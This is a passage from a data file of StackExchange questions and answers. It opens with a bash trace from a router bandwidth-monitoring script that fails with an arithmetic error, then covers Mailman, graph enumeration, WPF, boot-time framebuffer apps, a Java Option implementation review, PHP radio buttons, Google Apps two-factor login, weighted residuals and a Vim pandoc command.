encoding=UTF-8?><response><SesInfo>SessionID=5Id983frqqUaL3VhtspvHHEah/lbS0BvOuhWUYQYaPMhSDMhMAs1yrxHd46cC lFxFuFgEzZf8h5ACq7cMgCZsabMhBXTwuBEykKNcvvThdoSm93C8YHwShh797oQ8lDS</SesInfo><TokInfo>92iFXKTfY7pRK+DhUFa2mFLLNWgwPV+I</TokInfo></response>+ t=92iFXKTfY7pRK+DhUFa2mFLLNWgwPV+I+ true+ + + + grepcut </CurrentDownload>cut -d> -f2 -d<curl -f1 http://192.168.8.1/api/monitoring/traffic-statistics -H Cookie: SessionID=5Id98 3frqqUaL3VhtspvHHEah/lbS0BvOuhWUYQYaPMhSDMhMAs1yrxHd46cClFxFuFgEzZf8h5ACq7cMgCZs abMhBXTwuBEykKNcvvThdoSm93C8YHwShh797oQ8lDS -H __RequestVerificationToken: 92iFX KTfY7pRK+DhUFa2mFLLNWgwPV+I -H Content-Type: application/x-www-form-urlencoded; charset=UTF-8 2+ IP=628609528+ re=599+ echo 628609528628609528+ date+ time=Sat 17 Dec 12:06:36 EET 2016+ echo Its Just 599 M.BIts Just 599 M.B+ [ 599 -ge 4000 ]+ echo Under Bandwidth Limit Until Now .. Sat 17 Dec 12:06:36 EET 2016Under Bandwidth Limit Until Now .. Sat 17 Dec 12:06:36 EET 2016+ echo 628609528628609528+ sleep 2+ true+ + + + grepcurlcut </CurrentDownload>cut http://192.168.8.1/api/monitoring/traffic-statistics -H Cookie: SessionID=5I d983frqqUaL3VhtspvHHEah/lbS0BvOuhWUYQYaPMhSDMhMAs1yrxHd46cClFxFuFgEzZf8h5ACq7cMg CZsabMhBXTwuBEykKNcvvThdoSm93C8YHwShh797oQ8lDS -d> -f2 -H -d< __RequestVerificationToken: 92iFXKTfY7pRK+DhUFa2mFLLNWgwPV+I -H -f1 Content -Type: application/x-www-form-urlencoded; charset=UTF-8 2+ IP=628610195+ re=599+ echo 628610195628610195+ date+ time=Sat 17 Dec 12:06:39 EET 2016+ echo Its Just 599 M.BIts Just 599 M.B+ [ 599 -ge 4000 ]+ echo Under Bandwidth Limit Until Now .. Sat 17 Dec 12:06:39 EET 2016Under Bandwidth Limit Until Now .. Sat 17 Dec 12:06:39 EET 2016+ echo 628610195628610195+ sleep 2+ true+ + + + grepcutcut </CurrentDownload> -d>curl -f2 -d< -f1 http://192.168.8.1/api/monitoring/traffic-statistics -H Cookie: SessionID=5Id98 3frqqUaL3VhtspvHHEah/lbS0BvOuhWUYQYaPMhSDMhMAs1yrxHd46cClFxFuFgEzZf8h5ACq7cMgCZs abMhBXTwuBEykKNcvvThdoSm93C8YHwShh797oQ8lDS -H __RequestVerificationToken: 92iFX KTfY7pRK+DhUFa2mFLLNWgwPV+I -H Content-Type: application/x-www-form-urlencoded; charset=UTF-8 2+ IP=628610687+ re=599+ echo 628610687628610687+ date+ time=Sat 17 Dec 12:06:41 EET 2016+ echo Its Just 599 M.BIts Just 599 M.B+ [ 599 -ge 4000 ]+ echo Under Bandwidth Limit Until Now .. Sat 17 Dec 12:06:41 EET 2016Under Bandwidth Limit Until Now .. Sat 17 Dec 12:06:41 EET 2016+ echo 628610687628610687+ sleep 2+ true+ + + + grepcutcut </CurrentDownload> -d> -f2curl -d< -f1 http://192.168.8.1/api/monitoring/traffic-statistics -H Cookie: SessionID=5Id98 3frqqUaL3VhtspvHHEah/lbS0BvOuhWUYQYaPMhSDMhMAs1yrxHd46cClFxFuFgEzZf8h5ACq7cMgCZs abMhBXTwuBEykKNcvvThdoSm93C8YHwShh797oQ8lDS -H __RequestVerificationToken: 92iFX KTfY7pRK+DhUFa2mFLLNWgwPV+I -H Content-Type: application/x-www-form-urlencoded; charset=UTF-8 2+ IP=628611179+ re=599+ echo 628611179628611179+ date+ time=Sat 17 Dec 12:06:45 EET 2016+ echo Its Just 599 M.BIts Just 599 M.B+ [ 599 -ge 4000 ]+ echo Under Bandwidth Limit Until Now .. Sat 17 Dec 12:06:45 EET 2016Under Bandwidth Limit Until Now .. Sat 17 Dec 12:06:45 EET 2016+ echo 628611179628611179+ sleep 2+ true+ + + + grepcutcut </CurrentDownload> -d>curl -f2 -d< -f1 http://192.168.8.1/api/monitoring/traffic-statistics -H Cookie: SessionID=5Id98 3frqqUaL3VhtspvHHEah/lbS0BvOuhWUYQYaPMhSDMhMAs1yrxHd46cClFxFuFgEzZf8h5ACq7cMgCZs abMhBXTwuBEykKNcvvThdoSm93C8YHwShh797oQ8lDS -H __RequestVerificationToken: 92iFX KTfY7pRK+DhUFa2mFLLNWgwPV+I -H Content-Type: application/x-www-form-urlencoded; charset=UTF-8 2+ IP=628611671+ re=599+ echo 628611671628611671+ date+ time=Sat 17 Dec 12:06:48 EET 2016+ echo Its Just 599 M.BIts Just 599 M.B+ [ 599 -ge 4000 ]+ echo Under Bandwidth Limit Until Now .. Sat 17 Dec 12:06:48 EET 2016Under Bandwidth Limit Until Now .. Sat 17 Dec 12:06:48 EET 2016+ echo 628611671628611671+ sleep 2+ true+ + + + grepcutcut </CurrentDownload> -d> -f2curl -d< http://192.168.8.1/api/monitoring/traffic-statistics -f1 -H Cookie: SessionID=5Id983frqqUaL3VhtspvHHEah/lbS0BvOuhWUYQYaPMhSDMhMAs1yrxHd46cC lFxFuFgEzZf8h5ACq7cMgCZsabMhBXTwuBEykKNcvvThdoSm93C8YHwShh797oQ8lDS -H __Request VerificationToken: 92iFXKTfY7pRK+DhUFa2mFLLNWgwPV+I -H Content-Type: application /x-www-form-urlencoded; charset=UTF-8 2+ IP=628619238+ re=599+ echo 628619238628619238+ date+ time=Sat 17 Dec 12:06:50 EET 2016+ echo Its Just 599 M.BIts Just 599 M.B+ [ 599 -ge 4000 ]+ echo Under Bandwidth Limit Until Now .. Sat 17 Dec 12:06:50 EET 2016Under Bandwidth Limit Until Now .. Sat 17 Dec 12:06:50 EET 2016+ echo 628619238628619238+ sleep 2+ true+ + + + grepcut </CurrentDownload>cut -d>curl -f2 -d< -f1 http://192.168.8.1/api/monitoring/traffic-statistics -H Cookie: SessionID=5Id983frqqUaL3VhtspvHHEah/lbS0BvOuhWUYQYaPMhSDMhMAs1yrxHd4 6cClFxFuFgEzZf8h5ACq7cMgCZsabMhBXTwuBEykKNcvvThdoSm93C8YHwShh797oQ8lDS -H __Requ estVerificationToken: 92iFXKTfY7pRK+DhUFa2mFLLNWgwPV+I -H Content-Type: applicat ion/x-www-form-urlencoded; charset=UTF-8 2+ IP=628623293+ re=599+ echo 628623293628623293+ date+ time=Sat 17 Dec 12:06:53 EET 2016+ echo Its Just 599 M.BIts Just 599 M.B+ [ 599 -ge 4000 ]+ echo Under Bandwidth Limit Until Now .. Sat 17 Dec 12:06:53 EET 2016Under Bandwidth Limit Until Now .. Sat 17 Dec 12:06:53 EET 2016+ echo 628623293628623293+ sleep 2+ true+ + + + grepcutcut </CurrentDownload> -d> -f2 -d<curl -f1 http://192.168.8.1/api/monitoring/traffic-statistics -H Cookie: SessionID=5Id98 3frqqUaL3VhtspvHHEah/lbS0BvOuhWUYQYaPMhSDMhMAs1yrxHd46cClFxFuFgEzZf8h5ACq7cMgCZs abMhBXTwuBEykKNcvvThdoSm93C8YHwShh797oQ8lDS -H __RequestVerificationToken: 92iFX KTfY7pRK+DhUFa2mFLLNWgwPV+I -H Content-Type: application/x-www-form-urlencoded; charset=UTF-8 2+ IP=628630547+ re=599+ echo 628630547628630547+ date+ time=Sat 17 Dec 12:06:55 EET 2016+ echo Its Just 599 M.BIts Just 599 M.B+ [ 599 -ge 4000 ]+ echo Under Bandwidth Limit Until Now .. Sat 17 Dec 12:06:55 EET 2016Under Bandwidth Limit Until Now .. Sat 17 Dec 12:06:55 EET 2016+ echo 628630547628630547+ sleep 2+ true+ + + + grepcutcurlcut -d> http://192.168.8.1/api/monitoring/traffic-statistics -f2 -H </CurrentDownload> Cookie: SessionID=5Id983frqqUaL3VhtspvHHEah/lbS0BvOuhWUYQYaPMhSDMhMAs1yrxHd46cC lFxFuFgEzZf8h5ACq7cMgCZsabMhBXTwuBEykKNcvvThdoSm93C8YHwShh797oQ8lDS -d< -f1 -H __RequestVerificationToken: 92iFXKTfY7pRK+DhUFa2mFLLNWgwPV+I -H Content-Type: a pplication/x-www-form-urlencoded; charset=UTF-8 2+ IP=628631670+ re=599+ echo 628631670628631670+ date+ time=Sat 17 Dec 12:06:58 EET 2016+ echo Its Just 599 M.BIts Just 599 M.B+ [ 599 -ge 4000 ]+ echo Under Bandwidth Limit Until Now .. Sat 17 Dec 12:06:58 EET 2016Under Bandwidth Limit Until Now .. Sat 17 Dec 12:06:58 EET 2016+ echo 628631670628631670+ sleep 2+ true+ + + + grepcutcut </CurrentDownload> -d> -f2 -d<curl -f1 http://192.168.8.1/api/monitoring/traffic-statistics -H Cookie: SessionID=5Id98 3frqqUaL3VhtspvHHEah/lbS0BvOuhWUYQYaPMhSDMhMAs1yrxHd46cClFxFuFgEzZf8h5ACq7cMgCZs abMhBXTwuBEykKNcvvThdoSm93C8YHwShh797oQ8lDS -H __RequestVerificationToken: 92iFX KTfY7pRK+DhUFa2mFLLNWgwPV+I -H Content-Type: application/x-www-form-urlencoded; charset=UTF-8 2+ IP=./test.sh: 11: ./test.sh: arithmetic expression: expecting primary: / 104 8576 " , "title": "error with bash script arithmetic expression: expecting primary" , "tags": "bash;shell script;router;api" } { "id": "_unix.71533" , "question": "I'd like the footer of a Mailman list to include an image. Is this possible? If yes, how?I tried the obvious path of just typing <img...>, but that didn't work." , "title": "How can I include an image in a Mailman footer?" , "tags": "mailman" } { "id": "_cs.68550" , "question": "I need to generate/enumerate isomorphism classes of vertex-rooted graphs with the following properties. Let $\\Delta$ be the maximal degree (say 3 for subcubic graphs) and $r$ the maximal distance of a vertex from the root (something like radius, even though the formal definition of radius of a graph is different). Note that the requirement also means the graphs are connected. Note that rooted graphs are isomorphic if there exists an isomorphism that respects the root, i.e., sends root to root.It is clear that for fixed $\\Delta$ and $r$ there exist only finitely many such graphs. The number of them will be huge, but still drastically smaller than the number of all graphs or all bounded-degree graphs on the same number of vertices.Example: For $\\Delta=2$ and $r=1$ we would get exactly $4$ graphs: (1) just the root, (2) an edge with one vertex the root, (3) a cherry with the root in the middle and (4) a triangle with one vertex the root.The case I am mostly interested in is $\\Delta=3$ but if possible I would like to be more general.Question: Is there some software or a collection that provides this? If possible, I would like to avoid coding the whole thing myself as this seems to be a rather complex task (generating non-isomorphic graphs in a reasonable efficient way). I am aware of nauty, which can check isomorphism and also generates certain types of graphs. But after reading the manual, I think there is no option to generate rooted graphs (there is option to generate bounded-degree graphs, though).Does anyone have an idea how to do this without spending a lot of time writing my own generator?" , "title": "Generate all non-isomorphic bounded-degree rooted graphs of bounded radius" , "tags": "graphs;graph isomorphism;mathematical software" } { "id": "_softwareengineering.172927" , "question": "I started as the analyst, talking to the client and jotting down requirements and all that jazz. Ended as the sole developer of the project.The schedule is OK, but not OK for someone that don't know nothing about how to develop a WPF application, IMHO.What can I do about it, tell program manager that she made a huge mistake by choosing someone with no skills(she had no choice, I was the only one not allocated), or slit my wrists? Do I have other choices?P.S.: Really trying to learn it, can't get how to structure the project MVVM, IoC, Logging. The concept count is too damn high." , "title": "Assigned to a new WPF project, know nothing about it" , "tags": "wpf" , "accepted_answer": "I'd start with the basics first and add the design patterns and AOP concerns once those are nailed down. Trying to learn all of that in one shot is just going to confuse you, as you seem to be aware.I would suggest that you talk to the PM not in terms of I can't do it, but rather in terms of this is going to be a relatively simple implementation. I'm not sure where the MVVM/Logging/etc requirements are coming from, but I'd fix those if I were you as being unfeasible, given your skill set with the framework. The main thing is to manage expectations. The app will have to be relatively simple and it might not be the most maintainable thing in the world since this is your first crack at it.Edit to clarify about MVVM: My intent here was to suggest that MVVM is not a specific requirement of WPF projects rather than to question its validity as a pattern or its usefulness. Similar concept of the AOP techniques as well." } { "id": "_unix.67492" , "question": "I have a python application that uses pygame to access the framebuffer directly without using X. I want to start this application on startup instead of showing the console login prompt. I haven't found any good resources which explains how I would do it.Just the same way gdm is started instead of showing a console login prompt. Bonus question: What would happen if said application crashed? Would the console login prompt be shown?Edit: I have been reading up on runlevels and startup. More specific question below Will it be enough to create a /etc/init.d script which starts my python program, update rc.d with update-rc.d and setting priority to 99 so that it runs last and setting it to run under runlevel 5 (Which is for gui applications I heard). Then changing the default runlevel 5 in /etc/inittab?Or do I have to do something special since the program uses framebuffer?" , "title": "How do I start a gui framebuffer (no X) application on startup instead of console login prompt?" , "tags": "debian;gui;startup;raspberry pi;framebuffer" , "accepted_answer": "You can try to run directy on the inittab... try to edit the /etc/inittab and replace the 1:2345:respawn:/sbin/getty 38400 tty1with1:2345:respawn:/usr/bin/python /srv/game/game.pyIf the game crashes, init will restart it again. The game probably needs to know that is should open tty1 (or any other at your choice)if you need the console, the other terminals should be normal, so ctrl+alt+F2 should jump to a login consoleIf you want to try with the runlevel, you are on good track... you probably need to define a TTY (probably export TTY=/dev/tty1) so the app knows where it should connect (as inittab and rc script run without any TTY defined). As i don't know python nor framebuffer consoles, dont know how to do that in python and what else is needed (maybe a more framebuffed or python direct question on stackoverflow is needed)" } { "id": "_codereview.12303" , "question": "Summary:I've implemented what I think is a complete Java implementation of the Scala Option class. Could you please review and let me know if I have correctly and completely implemented it? And if not, could you please indicate where I have security, multi-threading, persistence, etc. defects?Details:I'm learning Scala, but still not able to use it in my projects at work. However, I have fallen in love with Scala's Option class. It's the equivalent to Haskell's Maybe. It's a great way to consistently implement the null object pattern; i.e. type safely getting rid of tons of potentially hidden NullPointerExceptions.While working on bringing some legacy Java code forward in time (written by me +10 years ago), I kept wanting to use something like Scala's Option, only written in Java for Java. Thus began my hunt for an effective Java version of Scala's option class.First, I googled and found something simple from Daniel Spiewak written in 2008: The Option Pattern.A comment by Tony Morris on Daniel's blog article (above) lead me to an article by Tony Morris where Daniel's idea was made a bit more complete, also adding to it a bit more complexity (at least to me): Maybe in Java.Then, while doing further research to try and find something already written, rather than my writing it myself, I found this one. Written earlier this year (2012), it seemed quite up-to-date: Another Scala option in Java.However, once I brought this latest code into my project to use, it started putting yellow squigglies under any references to None. Basically, the singleton the author used was leaking raw types into my code generating warnings. That was particularly annoying as I had just finished eliminating all the raw type code warnings from this particular code base the previous week.I was now hooked on getting something working that might resemble a work that could/would appear in the high-quality Java libraries, eliminating raw type leakage, adding things like serialization support, etc.Below is the result as three separate Java class files:Option - public interfaceOptional - factory for safely producing instances of Some and NoneMain - JUnit4 test suite to ensure proper functionalityPlease review and then give me any feedback and/or corrections you are willing to contribute.1. Interface Option - public interfacepackage org.public_domain.option;import java.util.Iterator;import java.io.Serializable;public interface Option<T> extends Iterable<T>, Serializable { @Override Iterator<T> iterator(); T get(); T getOrElse(T value);}2. Class Optional - Option instance factorypackage org.public_domain.option;import java.util.ArrayList;import java.util.Collections;import java.util.Iterator;import java.util.List;public final class Optional<T> { @SuppressWarnings(rawtypes) private static volatile Option NONE_SINGLETON = new OptionImpl(); public static <T> Option<T> getSome(T value) { if (value == null) { throw new NullPointerException(value must not be null); } return new OptionImpl<T>(value); } @SuppressWarnings({unchecked, cast}) public static <T> Option<T> getNone() { return (Option<T>)getNoneSingleton(); } @SuppressWarnings(unchecked) public static <T> Option<T> getOptionWithNullAsNone(T value) { return (value != null) ? new OptionImpl<T>(value) : (Option<T>)getNoneSingleton() ; } public static <T> Option<T> getOptionWithNullAsValidValue(T value) { return new OptionImpl<T>(value); } @SuppressWarnings(rawtypes) static Option getNoneSingleton() { return NONE_SINGLETON; } private Optional() { //no instances may be created } private static final class OptionImpl<T> implements Option<T> { private static final long serialVersionUID = -5019534835296036482L; private List<T> values; //contains exactly 0 or 1 value protected OptionImpl() { if (getNoneSingleton() != null) { throw new IllegalStateException(NONE_SINGLETON already defined); } this.values = Collections.<T>emptyList(); } protected OptionImpl(T value) { List<T> temp = new ArrayList<T>(1); temp.add(value); //even if it might be a null this.values = temp; } @Override public int hashCode() { return this.values.hashCode(); } @Override public boolean equals(Object o) { boolean result = (o == this); if (!result && (o instanceof OptionImpl<?>)) { result = this.values.equals(((OptionImpl<?>)o).values); } return result; } protected Object readResolve() { Object result = this; if (this.values.isEmpty()) { result = getNoneSingleton(); } return result; } @Override public Iterator<T> iterator() { return (!this.values.isEmpty()) ? Collections.unmodifiableList(new ArrayList<T>(this.values)).iterator() : this.values.iterator() ; } @Override public T get() { if (this.values.isEmpty()) { throw new UnsupportedOperationException(Invalid to attempt to use get() on None); } return this.values.get(0); } @Override public T getOrElse(T valueArg) { return (!this.values.isEmpty()) ? get() : valueArg ; } }}3. Class Main - JUnit4 test suitepackage org.public_domain.option.test;import static org.junit.Assert.assertEquals;import static org.junit.Assert.assertFalse;import static org.junit.Assert.assertNotSame;import static org.junit.Assert.assertSame;import static org.junit.Assert.assertTrue;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.util.HashMap;import java.util.Iterator;import java.util.Map;import org.junit.Test;import org.public_domain.option.Option;import org.public_domain.option.Optional;public class Main { @Test public void simpleUseCasesSome() { String value = simpleUseCases; String valueOther = simpleUseCases Other; //Some Option<String> optionSome = Optional.getSome(value); assertEquals(value, optionSome.get()); assertEquals(value, optionSome.getOrElse(valueOther)); assertNotSame(valueOther, optionSome.get()); assertNotSame(valueOther, optionSome.getOrElse(valueOther)); //validate simple iterator state (each call is a newly created iterator) assertTrue(optionSome.iterator().hasNext()); assertEquals(value, optionSome.iterator().next()); assertNotSame(valueOther, optionSome.iterator().next()); //ensure iterator exhausted after single return value (all on the same iterator) Iterator<String> iterator = optionSome.iterator(); assertTrue(iterator.hasNext()); assertEquals(value, iterator.next()); assertFalse(iterator.hasNext()); } @Test public void simpleUseCasesNone() { String value = simpleUseCases; String valueOther = simpleUseCases Other; Option<String> optionNone = Optional.getNone(); assertEquals(valueOther, optionNone.getOrElse(valueOther)); assertNotSame(value, optionNone.getOrElse(valueOther)); //ensure iterator is already exhausted assertFalse(optionNone.iterator().hasNext()); } @Test (expected=NullPointerException.class) public void simpleInvalidUseCaseSomePassedNull() { @SuppressWarnings(unused) Option<String> optionSome = Optional.getSome(null); } @Test (expected=UnsupportedOperationException.class) public void simpleInvalidUseCaseNoneGet() { Option<String> optionNone = Optional.getNone(); @SuppressWarnings(unused) String value = optionNone.get(); } @Test public void simpleUseCaseEquals() { String value = simpleUseCases; String valueSame = value; String valueDifferent = simpleUseCases Other; Option<String> optionSome = Optional.getSome(value); Option<String> optionSomeSame = Optional.getSome(valueSame); Option<String> optionSomeDifferent = Optional.getSome(valueDifferent); Option<String> optionNone = Optional.getNone(); Option<String> optionNoneSame = Optional.getNone(); //Some - self-consistency assertSame(optionSome, optionSome); //identity check assertEquals(optionSome, optionSomeSame); //content check assertEquals(optionSomeSame, optionSome); //symmetry check assertNotSame(optionSome, optionSomeDifferent); //identity and content check assertNotSame(optionSomeDifferent, optionSome); //symmetry check //None - self-consistency assertSame(optionNone, optionNoneSame); //identity check assertSame(optionNoneSame, optionNone); //symmetry check //Some-vs-None consistency assertNotSame(optionSome, optionNone); //identity check assertNotSame(optionNone, optionSome); //symmetry check } @Test public void useCaseSomeWithNullAsNone() { String value = null; String valueSame = value; String valueDifferent = simpleUseCases; Option<String> option = Optional.getOptionWithNullAsNone(value); Option<String> optionSame = Optional.getOptionWithNullAsNone(valueSame); Option<String> optionDifferent = Optional.getOptionWithNullAsNone(valueDifferent); //Some - self-consistency assertSame(option, option); //identity check assertEquals(option, optionSame); //content check assertEquals(optionSame, option); //symmetry check assertNotSame(option, optionDifferent); //identity and content check assertNotSame(optionDifferent, option); //symmetry check //None consistency Option<String> optionNone = Optional.getNone(); assertSame(option, optionNone); assertSame(optionNone, option); //symmetry check } @Test public void useCaseSomeWithNullAsValidValue() { String value = null; String valueSame = value; String valueDifferent = simpleUseCases; Option<String> option = Optional.getOptionWithNullAsValidValue(value); Option<String> optionSame = Optional.getOptionWithNullAsValidValue(valueSame); Option<String> optionDifferent = Optional.getOptionWithNullAsValidValue(valueDifferent); //Some - self-consistency assertSame(option, option); //identity check assertEquals(option, optionSame); //content check assertEquals(optionSame, option); //symmetry check assertNotSame(option, optionDifferent); //identity and content check assertNotSame(optionDifferent, option); //symmetry check //None consistency Option<String> optionNone = Optional.getNone(); assertNotSame(option, optionNone); assertNotSame(optionNone, option); //symmetry check } private byte[] transformToByteArray(Object root) { ByteArrayOutputStream baos = new ByteArrayOutputStream(65536); try { ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(root); } catch (IOException e) { e.printStackTrace(); } return baos.toByteArray(); } private Object transformFromByteArray(byte[] content) { Object result = null; ByteArrayInputStream bais = new ByteArrayInputStream(content); ObjectInputStream ois; try { ois = new ObjectInputStream(bais); result = ois.readObject(); } catch (IOException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } return result; } @Test public void useCaseSerialzation() { String value = simpleUseCases; String valueSame = value; String valueDifferent = simpleUseCases Other; Option<String> optionSome = Optional.getSome(value); Option<String> optionSomeSame = Optional.getSome(valueSame); Option<String> optionSomeDifferent = Optional.getSome(valueDifferent); Option<String> optionNone = Optional.getNone(); Option<String> optionNoneSame = Optional.getNone(); Map<String, Option<String>> dataIn = new HashMap<String, Option<String>>(); dataIn.put(optionSome, optionSome); dataIn.put(optionSomeSame, optionSomeSame); dataIn.put(optionSomeDifferent, optionSomeDifferent); dataIn.put(optionNone, optionNone); dataIn.put(optionNoneSame, optionNoneSame); byte[] dataInAsByteArray = transformToByteArray(dataIn); @SuppressWarnings(unchecked) Map<String, Option<String>> dataOut = (Map<String, Option<String>>)transformFromByteArray(dataInAsByteArray); assertEquals(optionSome, dataOut.get(optionSome)); assertEquals(optionSomeSame, dataOut.get(optionSomeSame)); assertEquals(optionSomeDifferent, dataOut.get(optionSomeDifferent)); assertSame(optionNone, dataOut.get(optionNone)); assertSame(optionNoneSame, dataOut.get(optionNoneSame)); }}" , "title": "Scala Option conversion to Java" , "tags": "java;generics" , "accepted_answer": "If you want to guarantee serializability, the T type parameter must be Serializable, or your Option won't be:public interface Option<T extends Serializable> extends Iterable<T>, SerializableAlso, the use of a public interface to declare Option allows anybody to create their own implementation. The code will break if it is given another implementation of the Option interface, because it assumes the only implementation is an OptionImpl.Here's an alternate implementation much the same as yours that I'd come up with:package util;import java.util.Collections;import java.util.Iterator;import java.util.NoSuchElementException;public abstract class Option<A> implements Iterable<A> { private Option() {} public abstract A get(); public abstract A getOrElse(A defaultResult); public abstract Iterator<A> iterator(); public abstract boolean match(Option<A> other); @SuppressWarnings(unchecked) public static <A> Option<A> Option(final A a) { return a == null? (Option<A>)None : Some(a); } public static <A> Option<A> Some(final A a) { return new _Some<A>(a); } @SuppressWarnings(unchecked) public static <A> Option<A> None() { return (Option<A>)None; } @SuppressWarnings(rawtypes) public static final Option None = new _None(); private static final class _Some<A> extends Option<A> { private final A value; private _Some(A a) { if (a == null) throw new IllegalArgumentException(argument to Some may not be null); this.value = a; } @Override public A get() { return this.value; } @Override public A getOrElse(final A ignored) { return this.value; } @Override public Iterator<A> iterator() { return Collections.<A>singleton(this.value).iterator(); } @Override public boolean match(final Option<A> other) { return other == None? false : value.equals( ((_Some<A>)other).value ); } @Override @SuppressWarnings(unchecked) public boolean equals(final Object obj) { return obj instanceof Option? match((Option<A>)obj) : false; } @Override public int hashCode() { return this.value.hashCode(); } @Override public String toString() { return Some( + this.value + ); } } private static final class _None<A> extends Option<A> { private _None() {} @Override public A get() { throw new NoSuchElementException(None.get() called); } @Override public A getOrElse(final A result) { return result; } @Override public Iterator<A> iterator() { return Collections.<A>emptyList().iterator(); } @Override @SuppressWarnings(rawtypes) public boolean match(final Option other) { return other == None; } @Override public boolean equals(final Object obj) { return obj == this; } @Override public int hashCode() { return 0; } @Override public String toString() { return None; } }}For usage, I use import static:import util.Option;import static util.Option.*;Option<Boolean> selfDestruct = getSelfDestructSequence();if (selfDestruct.match(Some(true)) { blowUpTheShip();}That way it reads similar to pattern matching and deconstruction, but of course it's really construction and equals(). And you can compare to None using ==.The only thing I don't like about this is that the None singleton does give unchecked warnings on usage unless you use the factory method to return it. If only we had existential types, we could overcome that." } { "id": "_codereview.61209" , "question": "I have some php code to style a button and activate it, when a specific variable is true.It's actually a radio button, styled with the bootstrap to a button.As you can see below, this is how it looks when the variable is '1'.Also, the buttons at the bottom are the same, but then with one extra option.The HTML code for this is the following: Navigation bar color: <?php if ($navcolor == '1') { $nav_color_i_active = 'active'; $nav_color_i_checked = 'checked'; $nav_color_n_active = ''; $nav_color_n_checked = ''; } else { $nav_color_i_active = ''; $nav_color_i_checked = ''; $nav_color_n_active = 'active'; $nav_color_n_checked = 'checked'; } ?> <div class=btn-group data-toggle=buttons> <label class=btn btn-primary <?= $nav_color_i_active ?>> <input type=radio name=navcolor value=1 <?= $nav_color_i_checked ?>> Inverted </label> <label class=btn btn-primary <?= $nav_color_n_active ?>> <input type=radio name=navcolor value=0 <?= $nav_color_n_active ?>> Normal </label> </div><div class=form-group><label>Navigation bar position: </label> <?php if ($navpos == '2') { $nav_pos_2_active = 'active'; $nav_pos_2_checked = 'checked'; $nav_pos_1_active = ''; $nav_pos_1_checked = ''; $nav_pos_0_active = ''; $nav_pos_0_checked = ''; } elseif ($navpos == '1') { $nav_pos_2_active = ''; $nav_pos_2_checked = ''; $nav_pos_1_active = 'active'; $nav_pos_1_checked = 'checked'; $nav_pos_0_active = ''; $nav_pos_0_checked = ''; } else { $nav_pos_2_active = ''; $nav_pos_2_checked = ''; $nav_pos_1_active = ''; $nav_pos_1_checked = ''; $nav_pos_0_active = 'active'; $nav_pos_0_checked = 'checked'; } ?> <div class=btn-group data-toggle=buttons> <label class=btn btn-primary <?= $nav_pos_2_active ?>> <input type=radio name=navpos value=2 <?= $nav_pos_2_checked ?>> Floating </label> <label class=btn btn-primary <?= $nav_pos_1_active ?>> <input type=radio name=navpos value=1 <?= $nav_pos_1_active ?>> Sticky to top </label> <label class=btn btn-primary <?= $nav_pos_0_active ?>> <input type=radio name=navpos value=0 <?= $nav_pos_0_active ?>> Dynamic, stick to top </label> </div> </div>As you can see, it's a lot of code for not a lot of buttons. I've used empty variables, because otherwise php would return errors, for unknown variables.Is it possible that this code can look a lot cleaner, and that there can be less code?" , "title": "Styling and activating radio buttons on condition" , "tags": "php;twitter bootstrap" , "accepted_answer": "Firstly, you could shorten the names of the variables e.g from $nav_color_i_active to $i_active and so on.Secondly, there is a problem in your logic. You see else part will run if $navcolorhas any value other than 1. You should use elseif instead of else in both parts of code." } { "id": "_webapps.45991" , "question": "I've tried to find a way to enable 2 factor authentication for login to the Google Apps management console (admin.google.com), but can't seem to find it. (I already have 2 factor auth for my users on the domain, so it is not for domain users but for the admin console I want to enable it.)Have googled for it and searched here also, but can't seem to find the answer/way to enable it.Can anyone help, please?" , "title": "Is 2 factor authentication available for login to the Google Apps management console?" , "tags": "google apps" , "accepted_answer": "Based on my own testing, it seems that Google Apps users who have enabled 2-factor authentication for their account will also be required to input a verification code when logging into the management console. This has two key implications:The only way to enforce 2-factor authentication for the management console is by ensuring that all users who can access the console have 2-factor auth enabled. As I understand it, it's not possible to force your users to enable this feature, the only thing you can do is choose to make the feature available to them (or not, obviously) and encourage all users to enable it.Any user who has asked for their device to be 'remembered' when logging in using 2-factor auth will not be required to enter a verification code to log into the management console unless they clear their cookies or use a different device.In summary, 2-factor auth works as expected with the management console, but it must be enabled on a per-user basis.Assuming that you have enabled 2-factor auth for your Google apps account, you can test the above by logging into the console from an Incognito window or an alternative browser. It should then ask you for a verification code as expected." } { "id": "_scicomp.19279" , "question": "In the method of weighted residual applied to boundary value problems, is it necessary for the basis function to satisfy all of the boundary conditions? Will it work even if it does not satisfy all of the boundary conditions?" , "title": "In the method of weighted residual, is it necessary for the basis function to satisfy the boundary conditions?" , "tags": "boundary conditions" } { "id": "_vi.9927" , "question": "I have a command defined in my ftplugin/markdown.vim to maintain a consistent style, and check for any errors:command! Lint !pandoc % -o % --columns=80However, when I run :Lint I then need to hit L<CR> followed by :e.Is there any way of defining this command such that it will reload automatically, with no further keypress?" , "title": "Automate file reload after command that modifies it?" , "tags": "vimrc;command line" , "accepted_answer": "Your command tells pandoc to filter your file (%) instead of your buffer. This is problematic because there's no guarantee that the content of the buffer and the content of the file are identical. What you need is a filter, not something that acts on actual files.The default behavior of pandoc is to act as a filter, which happens to be exactly what you want: take text from stdin and return a filtered version of it to stdout::!pandoc --columns=80But pandoc's default output format for markdown is HTML if you don't specify any so you should use -t markdown to force markdown output:!pandoc -t markdown --columns=80But even that is not enough to make a proper custom command:command! Lint !pandoc -t markdown --columns=80The first problem is that custom commands don't accept a range by default. This is easy to fix with :help :command-range:command! -range=% Lint execute <line1> . , . <line2> . !pandoc -t markdown --columns=80At this stage, you can do :Lint or :24,67Lint or vjjjjj:Lint and get exactly what you want But we still have three problems to address.The second problem is that this command will leave the cursor on the last line of the buffer. This is not really a showstopper but oh well! We can fix it with :help winsaveview() and :help winrestview():command! -range=% Lint let myview = winsaveview() | \\ execute <line1> . , . <line2> . !pandoc -t markdown --columns=80 | \\ call winrestview(myview)The third problem is that this command will also be available in non-markdown buffers because all custom commands are global by default. This is another easy fix thanks to :help :command-buffer:command! -buffer -range=% Lint let myview = winsaveview() | \\ execute <line1> . , . <line2> . !pandoc -t markdown --columns=80 | \\ call winrestview(myview)The fourth and last problem is a lot less severe than the others. It's just that ftplugin/markdown.vim is not really the right place for language-specific settings/mappings/commands due to the order in which filetype plugins are sourced:#1 $HOME/.vim/ftplugin/markdown.vim#2 $VIMRUNTIME/ftplugin/markdown.vim#3 $HOME/after/ftplugin/markdown.vimYou should use 